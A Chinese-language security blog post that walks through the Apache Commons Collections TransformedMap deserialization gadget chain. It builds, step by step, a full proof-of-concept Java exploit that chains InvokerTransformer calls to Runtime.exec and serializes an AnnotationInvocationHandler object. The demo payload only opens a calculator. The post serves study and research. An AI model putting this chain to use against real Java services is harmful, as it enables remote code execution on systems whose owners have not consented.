Commons Collections Gadget (TransformedMap)

admin 2022年4月1日23:30:17代码审计评论26 views15168字阅读50分33秒阅读模式

Apache Commons 是 Apache软件基金会 的项目,曾隶属于Jakarta项目。Commons 的目的是提供可重用的、开源的 Java 代码。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让使用者在开发应用程序的过程中,既保证了性能,同时也能大大简化了代码。

Commons Collections 序列化 RCE 漏洞的问题主要出现在 org.apache.commons.collections.Transformer 接口上。在 Commons Collections 中有一个 org.apache.commons.collections.functors.InvokerTransformer 类实现了 Transformer 接口,其主要作用是通过 Java 的反射机制来调用任意函数,只需要传入方法名、参数类型和参数,即可调用任意函数。TransformedMap 配合 Java 内置类 sun.reflect.annotation.AnnotationInvocationHandler 中的 readObject() 方法,可以触发漏洞。本片文章将对 Commons Collections 反序列化漏洞的原始 Gadget 进行挖掘与分析。

初始分析

InvokerTransformer

  • org.apache.commons.collections.functors.InvokerTransformer

刚才说了,Commons Collections 序列化 RCE 漏洞的根源在 org.apache.commons.collections.Transformer 接口上。在 Commons Collections 中有一个 InvokerTransformer 类实现了 Transformer 接口,并提供了 InvokerTransformer.transform() 方法,其主要作用是通过 Java 的反射机制来调用任意函数:

Commons Collections Gadget (TransformedMap)

不难看出,这里存在一组反射调用,并且涉及到的 this.iMethodNamethis.iParamTypesthis.iArgsinput 参数全部可控。其中,this.iMethodNamethis.iParamTypesthis.iArgs 可通过 InvokerTransformer 类的构造方法 InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) 传入,input 则需要在调用 transform(Object input) 方法时直接传入。

因此,我们完全可以通过 transform() 实现反射机制,并执行命令,相关 POC 如下所示:

package test;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CCOriginal {
    public static void main(String[] args) {
        InvokerTransformer it = new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]
{"calc.exe"}
        );

        it.transform(Runtime.getRuntime());
    }
}

执行后,如下图所示,成功弹出计算器:

Commons Collections Gadget (TransformedMap)

但是这样的 POC 在反序列化漏洞中是没有意义的,因为其仍然需要手动调用 it.transform(Runtime.getRuntime()) 才能执行命令。但实际中不可能在反序列化 it 对象之后又去执行 transform() 方法,并且 transform() 方法中传入了 Runtime.getRuntime()。因此,在后续的利用过程中,我们需要把研究的重心放在两个地方:

  1. 突破 transform() 方法参数的限制。
  2. 找到一个地方,使其在反序列化过程中自动调用 transform() 方法,例如 readObject() 中。

我们首先来研究第1个研究重心:突破 transform() 方法参数的限制。

最好的办法是通过一组反射调用来构建出 java.lang.Runtime.getRuntime().exec() 方法的执行链。并且,由于 Runtime 类为 “单例模式” 的特殊性,我们在编写反射代码时至少要分别调用 getMethod()getRuntime()invoke()exec() 这四个方法。

ChainedTransformer

  • org.apache.commons.collections.functors.ChainedTransformer

ChainedTransformer 类提供的 ChainedTransformer.transform() 方法正好满足了我们的上述需要:

Commons Collections Gadget (TransformedMap)

可以看到,ChainedTransformer 的构造函数可以传入一个 Transformer[] 类型的数组参数,将该数组赋给 this.iTransformers 后,ChainedTransformer.transform() 方法就可以遍历 this.iTransformers 中的对象分别对其调用 transform() 方法, 并将返回的结果作为下次循环中 transform() 的调用参数。

因此,我们可以想之前那样编写多个 InvokerTransformer 对象,分别用于反射 getRuntime()invoke()exec() 方法,然后将他们分别按照调用顺序添加到 this.iTransformers 数组中,从而构造出一条调用链。类似下图中的 Demo:

Commons Collections Gadget (TransformedMap)

但是如何获取 java.lang.Runtime 类呢?

ConstantTransformer

  • org.apache.commons.collections.functors.ConstantTransformer

ConstantTransformer 类提供的 ConstantTransformer.transform() 方法正好满足了我们需要:

Commons Collections Gadget (TransformedMap)

可以看到,ConstantTransformer 类的构造方法配合 ConstantTransformer.transform() 方法,可以将我们输入的 Object 原封不动的返回,因此我们只需要将 Runtime.class 传入 ConstantTransformer 的构造方法中即可。此时,transform() 方法中传入任何参数最终都可以调用到 java.lang.Runtime.getRuntime().exec()

那么修改上述 Demo,得到如下代码:

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;

public class CCOriginal {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
            // 传入 java.lang.Runtime 类
            new ConstantTransformer(Runtime.class),
            // 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
            new InvokerTransformer(
                "getMethod",
                new Class[]
{String.classClass[].class},
                new Object[]
{"getRuntime"new Class[0]}
            ),
            // 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.classObject[].class},
                new Object[]
{nullnew Object[0]}
            ),
            // 反射调用 exec() 方法
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]
{"calc.exe"}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform("test");    // 最终还是需要调用 transform() 方法
    }
}

如下图所示,运行后,成功执行命令并弹出了计算器:

Commons Collections Gadget (TransformedMap)

到这里,我们已经消除了前文所说的第一个限制,但是此时仍然需要手动执行 transform() 方法。在接下来的文章中,我们把研究重心转移到了第2个,即:找到一个地方,使其在反序列化过程中自动调用 transform() 方法,例如 readObject() 中。

为了达到这个目标,我们需要最终满足以下条件:

  1. 找到一个 readObject() 方法或其重写方法,该方法会自动调用一个 transform() 方法。
  2. 自动调用的 transform() 方法所属的实例对象可控。因为我们需要将其设为前面代码中的 transformerChain,也就是 ChainedTransformer 类的实例对象。

这就引出了 TransformedMap 和 LazyMap 这两条经典的利用链。这是目前为止研究人员挖掘出的两条满足上述条件的利用路径。

TransformedMap 利用链

Apache Commons Collections 实现了一个 TransformedMap 类,该类是对 Java 标准数据结构 Map 接口的一个扩展。TransformedMap 类可以对 Java 标准数据结构 Map 进行修饰,被修饰过的 Map 在添加新元素时,将自动对该元素执行特定的回调变换,具体的变换逻辑由 Transformer 类定义,Transformer 在 TransformedMap 对象初始化时作为参数传入。

例如下面这段代码对 innerMap 进行修饰,传出的 outerMap 就是修饰后的 Map:

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
vsalueTransformer);

其中,keyTransformer 参数是处理新元素的 Key 的回调,valueTransformer 是处理新元素的 Value 的回调。我们这里所说的 “回调” 并不是传统意义上的一个回调函数,而是一个实现了 Transformer 接口的类。

TransformedMap.checkSetValue()

TransformedMap 类提供了 TransformedMap.checkSetValue() 方法,其在 return 的时候调用了一个 Transform() 方法,如下图所示:

Commons Collections Gadget (TransformedMap)

如果我们能够控制 this.valueTransformer,使其指向 ChainedTransformer 类的实例对象,那么就可以利用该方法执行 ChainedTransformer.transform() 方法,并进入之前构造好的 java.lang.Runtime.getRuntime().exec() 调用链。

分析 TransformedMap 类的构造方法可知,this.valueTransformer 可以在实例化 TransformedMap 类时被赋值:

Commons Collections Gadget (TransformedMap)

但是由于构造方法 TransformedMap() 为 protected 类型,我们无法直接从外界调用,但是该类中公开了 decorate() 方法,用来返回一个 TransformedMap 类的实例对象,因此我们可以通过 decorate() 方法获取 TransformedMap 类的实例对象。

综上所述,this.valueTransformer 完全可控,我们可以通过将 this.valueTransformer 指向 ChainedTransformer 对象来执行 ChainedTransformer.transform() 方法。根据 TransformedMap.decorate() 的语法格式,我们需要将其参数 ValueTransformer 设为 ChainedTransformer 类的一个对象。此外,我们还需要一个 Map 类型的变量,当作 TransformedMap.decorate() 的第一个参数。

大概的 Demo 代码如下所示:

...
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("test""test");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

那么现在又有疑问了,如何才能调用到 TransformedMap.checkSetValue() 方法呢?由于该方法同样被 protected 所修饰,我们无法从外界直接调用。

AbstractInputCheckedMapDecorator$MapEntry.setValue()

AbstractInputCheckedMapDecorator 是 TransformedMap 的父类,在 AbstractInputCheckedMapDecorator 类中定义了一个内部类 MapEntry,这个内部类在其提供的 setValue() 方法中调用了一个 checkSetValue() 方法:

Commons Collections Gadget (TransformedMap)

如果我们可以控制 this.parent,使其指向 TransformedMap 类的一个实例对象,那么我们就可以调用到 TransformedMap.checkSetValue() 方法了。而事实证明,这个 this.parent 也是可控的。

查看内部类 MapEntry 的构造方法,可知 this.parent 可以在实例化 MapEntry 类时被赋值。但是这个构造方法也被 protected 修饰,我们无法送外界直接调用,所以我们需要继续寻找可以实例化 MapEntry 类的地方。

这使我们又关注到了内部类 EntrySetIterator。

AbstractInputCheckedMapDecorator$EntrySetIterator.next()

EntrySetIterator 也是 AbstractInputCheckedMapDecorator 中定义的一个内部类,其提供的 next() 方法在 return 中实例化了 MapEntry 类,从而触发了 MapEntry 的构造函数:

Commons Collections Gadget (TransformedMap)

同样, this.parent 的值由 EntrySetIterator 类的构造方法提供。并且 EntrySetIterator 类的构造方法也是 protected 修饰的,所以我们需要继续寻找可以实例化 EntrySetIterator 类的地方。

这使我们又关注到了内部类 EntrySet。

AbstractInputCheckedMapDecorator$EntrySet.iterator()

EntrySet 也是 AbstractInputCheckedMapDecorator 中定义的一个内部类,其提供的 iterator() 方法与 EntrySetIterator.next() 类似:

Commons Collections Gadget (TransformedMap)

类比前面的,我们还是需要继续寻找可以实例化 EntrySet 类的地方。

这使我们又关注到了 AbstractInputCheckedMapDecorator 类中提供的 entrySet() 方法。

AbstractInputCheckedMapDecorator.entrySet()

AbstractInputCheckedMapDecorator 类中公开了一个 entrySet() 方法:

Commons Collections Gadget (TransformedMap)

很明显,如果 isSetValueChecking() 返回 true,则 entrySet() 方法返回时会直接初始化内部类 EntrySet,并且传入 EntrySet 构造方法的参数为 this。由于 TransformedMap 类继承自 AbstractInputCheckedMapDecorator 类,TransformedMap 类中同样具有 entrySet() 方法。那么我们便可以在一个 TransformedMap 对象上调用 entrySet() 方法,此时传入的 EntrySet 构造方法的 this 指向 TransformedMap 对象本身,再依次调用 EntrySet.iterator()EntrySetIterator.next()MapEntry.setValue() 方法即可最终实现 TransformedMap.checkSetValue() 方法的调用。

TransformedMap 类在继承 AbstractInputCheckedMapDecorator 后重写了父类的 isSetValueChecking() 方法,如下所示:

Commons Collections Gadget (TransformedMap)

可见,只要 TransformedMap 对象中的 this.valueTransformer 不为空,isSetValueChecking() 就会返回 true。回顾前文,我们已经在调用 TransfromedMap.decorate() 方法时将其参数 valueTransformer 设为了 ChainedTransformer 类的实例对象,因此这里会直接返回 true

到这里我们再次整理一下前面的 Demo,代码如下:

...
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("key""value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map.Entry outerMapEntry = (Map.Entry) outerMap.entrySet().iterator().next();
outerMapEntry.setValue("value");

将其与最开始的 java.lang.Runtime.getRuntime().exec() 利用链结合,得到如下 POC 代码:

package test;

import java.util.HashMap;
import java.util.Map;

import clojure.lang.MapEntry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CCOriginal {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
            // 传入 java.lang.Runtime 类
            new ConstantTransformer(Runtime.class),
            // 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
            new InvokerTransformer(
                "getMethod",
                new Class[]
{String.classClass[].class},
                new Object[]
{"getRuntime"new Class[0]}
            ),
            // 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.classObject[].class},
                new Object[]
{nullnew Object[0]}
            ),
            // 反射调用 exec() 方法
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]
{"calc.exe"}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("key""value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Map.Entry outerMapEntry = (Map.Entry) outerMap.entrySet().iterator().next();
        outerMapEntry.setValue("value");
    }
}

如下图所示,运行上述代码后,成功弹出了计算器:

Commons Collections Gadget (TransformedMap)

到目前位置,我们仍未突破前面所说的第2个限制,因为上述 POC 仍然存在缺陷,在反序列化得到对象 outerMapEntry 后,仍然对其手动调用 setValue()。那么到底有没有办法实现自动调用呢?

接下来,我们将前面所说的两个限制转变一下,改为如下:

  1. 找到一个地方,使其在反序列化过程中自动调用 setValue() 方法,例如 readObject() 中。
  2. setValue() 方法的对象可控。

在 8u71 版本以前的 Java 中,内置的 sun.reflect.annotation.AnnotationInvocationHandler 类的 readObject() 方法满足了我们的需求。

sun.reflect.annotation.AnnotationInvocationHandler

如下图所示为 AnnotationInvocationHandler 类的源码:

Commons Collections Gadget (TransformedMap)

可见,如果 var5 对象可控,我们可以让它指向前面 POC 里的 outerMapEntry 对象,这样在反序列化时将自动实现setValue() 方法的调用,也就实现了我们的终极目标。

值得注意的是,var5 是通过调用 var4.next() 方法赋值的。根据前文的分析,如果我们让 var4 指向内部类 EntrySetIterator 的实例对象,那么当 var4.next() 方法调用结束后, var5 就是内部类 MapEntry 的对象,进而在最后调用 var5.setValue(...) 时执行 MapEntry 的对象里的 setValue() 方法。那么这个 EntrySetIterator 对象该如何赋值呢?

我们看到,var4 通过调用 this.memberValues.entrySet().iterator() 赋值。根据前文的饭呢西,如果我们让 this.memberValues 指向 TransformedMap 对象,也就是前面 POC 里的 outerMap,那么当 this.memberValues.entrySet().iterator() 调用结束后,var4 就是我们所需的 EntrySetIterator 对象。那么这个 this.memberValues 该如何赋值呢?

为了搞清楚 this.memberValues 的赋值情况,我们查看 AnnotationInvocationHandler 类的构造方法:

Commons Collections Gadget (TransformedMap)

可以看到,this.memberValues 是通过传入构造方法的第2个参数 var2 赋值的,并且该参数为 Map 类型,正好允许我们传入一个 TransformedMap 对象。

由于 sun.reflect.annotation.AnnotationInvocationHandler 是 JDK 的内置类,因此不能直接使用 new 来实例化。这就又到了 Java 反射机制来发挥作用的时刻了。因此我们可以构造以下 Demo:

...
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("value""test");    // 这里必须让键名 Key 为 "value", 具体原因稍后分析
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// Map.Entry outerMapEntry = (Map.Entry) outerMap.entrySet().iterator().next();
// outerMapEntry.setValue("value");
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor confunc = cls.getDeclaredConstructor(Class.classMap.class);
confunc.setAccessible(true);
Object AIHObject = confunc.newInstance(Retention.classouterMap);    // 这里第一个参数要传入 Retention.class, 具体原因稍后分析

最终的完整的 POC 如下所示:

package test;

import java.io.*;
import java.lang.annotation.Retention;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CCOriginal {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            // 传入 java.lang.Runtime 类
            new ConstantTransformer(Runtime.class),
            // 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
            new InvokerTransformer(
                "getMethod",
                new Class[]
{String.classClass[].class},
                new Object[]
{"getRuntime"new Class[0]}
            ),
            // 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.classObject[].class},
                new Object[]
{nullnew Object[0]}
            ),
            // 反射调用 exec() 方法
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]
{"calc.exe"}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value""test");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        // Map.Entry outerMapEntry = (Map.Entry) outerMap.entrySet().iterator().next();
        // outerMapEntry.setValue("value");
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor confunc = cls.getDeclaredConstructor(Class.classMap.class);
        confunc.setAccessible(true);
        InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.classouterMap);

        File f = new File(".\urldns.bin");
        FileOutputStream fOut = new FileOutputStream(f);
        ObjectOutputStream out = new ObjectOutputStream(fOut);
        out.writeObject(AIHObject);
        out.close();
        fOut.close();
    }
}

执行 POC 后,将生成序列化数据,对其进行反序列化后将成功执行命令并弹出计算器,如下图所示;

Commons Collections Gadget (TransformedMap)

Hint

回顾 AnnotationInvocationHandler 类的构造方法:

Commons Collections Gadget (TransformedMap)

其第1个参数 var1 的类型为 Class<? extends Annotation>,即必须是 Annotation 的子类,此外这个子类中至少要有一个方法。并且,假设这个方法名为 xxx,那么被 TransformedMap.decorate() 所修饰的 Map 中必须有一个键名为 xxx 的元素。

我们在 POC 中传入的是 Retention.class,也就是 java.lang.annotation.Retention 类,该类中有一个名为 value,如下图所示:

Commons Collections Gadget (TransformedMap)

那么被 TransformedMap.decorate() 所修饰的 Map 中必须有一个键名为 value 的元素,因此在最后的 POC 中使用了 innerMap.put("value", "test")

其实这里是为了满足 readObject() 中调用 var5.setValue(...) 方法时的一个条件,就是 var7 != null,其涉及到 Java 注释相关的技术,我就不做分析了,比较复杂 :)。

TransformedMap 这条利用链存在一定局限性,前文我们的测试环境为 Java 8u66。然而,在 8u71 版本以后的 Java 中,由于 sun.reflect.annotation.AnnotationInvocationHandler 类在发生了变化导致不再可用。如下图所示,8u71 以后的版本中,在 AnnotationInvocationHandler 的 readObject() 中删除了 setValue() 的调用:

Commons Collections Gadget (TransformedMap)

LazyMap 利用链

当我们查看 ysoserial 中的代码时,会发现有关 Commons Collections 的几条链子并没有使用本文中的 TransformedMap,而是改用了 LazyMap,也就是本文中还没有讲到的 LazyMap 利用链。因此,我们将在后续文章中借助 ysoserial 中的几条链子来分析 LazyMap 的利用路径。

Ending......

My Blog:https://whoamianony.top/

参考文献:

《Java安全漫谈 - 09.反序列化篇》

《Java安全漫谈 - 10.用TransformedMap编写真正的POC》

《Java 反序列化漏洞(4) – Apache Commons Collections POP Gadget Chains 剖析》


原文始发于微信公众号(山警网络空间安全实验室):Commons Collections Gadget (TransformedMap)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月1日23:30:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Commons Collections Gadget (TransformedMap) http://cn-sec.com/archives/863173.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: